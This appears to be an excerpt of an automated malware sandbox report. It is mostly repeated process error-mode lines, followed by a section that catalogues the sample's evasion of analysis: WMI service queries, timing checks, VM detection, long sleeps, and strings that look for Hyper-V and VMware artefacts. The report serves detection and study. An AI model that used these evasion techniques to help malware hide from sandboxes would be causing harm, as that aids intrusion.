Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0456096E rdtsc 11_2_0456096E
Contains functionality to detect virtual machines (SLDT)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B873BFB sldt word ptr [eax] 1_2_00007FFD9B873BFB
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5155 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4723 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7675 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2135 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Program Files (x86)\Windows Mail\wab.exe API coverage: 2.7 %
Source: C:\Windows\SysWOW64\AtBroker.exe API coverage: 3.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 7452 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7684 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7796 Thread sleep count: 7675 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7796 Thread sleep count: 2135 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7828 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 6664 Thread sleep count: 60 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 6664 Thread sleep time: -120000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\AtBroker.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DD1C0 FindFirstFileW,FindNextFileW,FindClose, 11_2_004DD1C0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Win32_ServiceStoppedOKvmicshutdownvmicshutdownUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicshutdown
Source: wscript.exe, 00000000.00000003.1680103396.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1681544989.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: erviceHyper-V PowerS0
Source: wscript.exe, 00000000.00000003.1679408383.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Win32_ServiceStoppedOKvmicvssvmicvssUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicvss
Source: wscript.exe, 00000000.00000003.1679990684.00000279AEF7A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680328691.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1682032351.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679581332.00000279AEF02000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Win32_ServiceStoppedOKvmicguestinterfacevmicguestinterfaceProvides an interface for the Hyper-V host to interact with specific services running inside the virtual machine.Share ProcessManualNormalC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -pLocalSystemHyper-V Guest Service InterfaceHyper-V Guest Service InterfaceWin32_ServiceWin32_ComputerSystemuser-PCvmicguestinterfaceLMEM@
Source: wscript.exe, 00000000.00000003.1679408383.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\H
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: wscript.exe, 00000000.00000003.1663193733.00000279AF064000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1682171522.00000279AF064000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679914474.00000279AF062000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662599926.00000279AF064000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1663566560.00000279AF064000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1682355305.00000279AF0BD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.1681592885.00000279AD0BC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680078058.00000279AD0BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \Registry\Machine\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}Distributed Link Tracking ClientRecommended Troubleshooting ServiceWindows Modules InstallerAuto Time Zone UpdaterUser Experience Virtualization ServiceRemote Desktop Services UserMode Port RedirectorUPnP Device HostUser ManagerUpdate Orchestrator ServiceVolumetric Audio Compositor ServiceCredential ManagerVirtual DiskHyper-V Gues
Source: wscript.exe, 00000000.00000003.1679408383.00000279AD0B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \REGISTRY\USER\S-1-5-21-2246122658-3693405117-2476756634-1002_Classes\Interface\{89bc3f49-f8d9-5103-ba13-de497e609167}\ProxyStubClsid32 Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume Shadow CopyWind
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Win32_ServiceStoppedOKvmicheartbeatvmicheartbeatUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicheartbeat
Source: wscript.exe, 00000000.00000003.1679990684.00000279AEF7A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680328691.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1682032351.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679581332.00000279AEF02000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Provides an interface for the Hyper-V host to interact with specific services running inside the virtual machine.
Source: wscript.exe, 00000000.00000003.1679990684.00000279AEF7A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680328691.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1682032351.00000279AEF7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679581332.00000279AEF02000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: wscript.exe, 00000000.00000002.1682548937.00000279AF1C1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1679728503.00000279AEF0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
